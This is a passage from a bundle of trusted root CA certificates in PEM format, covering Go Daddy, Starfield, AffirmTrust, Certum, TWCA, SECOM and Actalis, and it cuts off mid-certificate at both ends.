NjIgUzgxQzBBBgNVBAkMOkF2ZGEgZGVsIE1lZGl0ZXJyYW5lbyBFdG9yYmlkZWEgMTQgLSAwMTAx
MCBWaXRvcmlhLUdhc3RlaXowDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O
BBYEFB0cZQ6o8iV7tJHP5LGx5r1VdGwFMA0GCSqGSIb3DQEBCwUAA4ICAQB4pgwWSp9MiDrAyw6l
Fn2fuUhfGI8NYjb2zRlrrKvV9pF9rnHzP7MOeIWblaQnIUdCSnxIOvVFfLMMjlF4rJUT3sb9fbga
kEyrkgPH7UIBzg/YsfqikuFgba56awmqxinuaElnMIAkejEWOVt+8Rwu3WwJrfIxwYJOubv5vr8q
hT/AQKM6WfxZSzwoJNu0FXWuDYi6LnPAvViH5ULy617uHjAimcs30cQhbIHsvm0m5hzkQiCeR7Cs
g1lwLDXWrzY0tM07+DKo7+N4ifuNRSzanLh+QBxh5z6ikixL8s36mLYp//Pye6kfLqCTVyvehQP5
aTfLnnhqBbTFMXiJ7HqnheG5ezzevh55hM6fcA5ZwjUukCox2eRFekGkLhObNA5me0mrZJfQRsN5
nXJQY6aYWwa9SG3YOYNw6DXwBdGqvOPbyALqfP2C2sJbUjWumDqtujWTI6cfSN01RpiyEGjkpTHC
ClguGYEQyVB1/OpaFs4R1+7vUIgtYf8/QnMFlEPVjjxOAToZpR9GTnfQXeWBIiGH/pR9hNiTrdZo
Q0iy2+tzJOeRf1SktoA+naM8THLCV8Sg1Mw4J87VBp6iSNnpn86CcDaTmjvfliHjWbcM2pE38P1Z
WrOZyGlsQyYBNWNgVYkDOnXYukrZVP/u3oDYLdE41V4tC5h9Pmzb/CaIxw==
-----END CERTIFICATE-----

Go Daddy Root Certificate Authority - G2
========================================
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu
MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G
A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq
9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD
+qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd
fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl
NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9
BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac
vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r
5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV
N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1
-----END CERTIFICATE-----

Starfield Root Certificate Authority - G2
=========================================
-----BEGIN CERTIFICATE-----
MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0
eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw
DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg
VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB
dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv
W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs
bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk
N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf
ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU
JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol
TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx
4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw
F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ
c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
-----END CERTIFICATE-----

Starfield Services Root Certificate Authority - G2
==================================================
-----BEGIN CERTIFICATE-----
MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl
IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV
BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT
dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg
Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2
h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa
hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP
LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB
rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG
SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP
E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy
xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza
YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6
-----END CERTIFICATE-----

AffirmTrust Commercial
======================
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw
MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb
DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV
C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6
BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww
MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV
HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG
hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi
qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv
0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh
sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8=
-----END CERTIFICATE-----

AffirmTrust Networking
======================
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw
MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE
Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI
dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24
/PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb
h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV
HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu
UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6
12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23
WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9
/ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s=
-----END CERTIFICATE-----

AffirmTrust Premium
===================
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy
OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy
dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn
BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV
5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs
+7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd
GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R
p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI
S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04
6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5
/bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo
+Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB
/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv
MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg
Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC
6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S
L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK
+4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV
BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg
IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60
g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb
zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw==
-----END CERTIFICATE-----

AffirmTrust Premium ECC
=======================
-----BEGIN CERTIFICATE-----
MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV
BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx
MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U
cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA
IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ
N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW
BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK
BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X
57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM
eQ==
-----END CERTIFICATE-----

Certum Trusted Network CA
=========================
-----BEGIN CERTIFICATE-----
MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK
ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy
MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU
ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC
l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J
J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4
fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0
cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB
Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw
DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj
jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1
mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj
Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
-----END CERTIFICATE-----

TWCA Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ
VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG
EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB
IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx
QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC
oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP
4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r
y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB
BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG
9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC
mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW
QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY
T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny
Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw==
-----END CERTIFICATE-----

Security Communication RootCA2
==============================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc
U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh
dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC
SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy
aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++
+T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R
3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV
spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K
EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8
QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB
CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj
u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk
3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q
tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29
mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03
-----END CERTIFICATE-----

Actalis Authentication Root CA
==============================
-----BEGIN CERTIFICATE-----
MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM
BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE
AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky
MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz
IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ
wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa
by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6
zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f
YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2
oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l
EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7
hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8
EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5
jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY
iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI
WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0
JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx
K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+
Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC
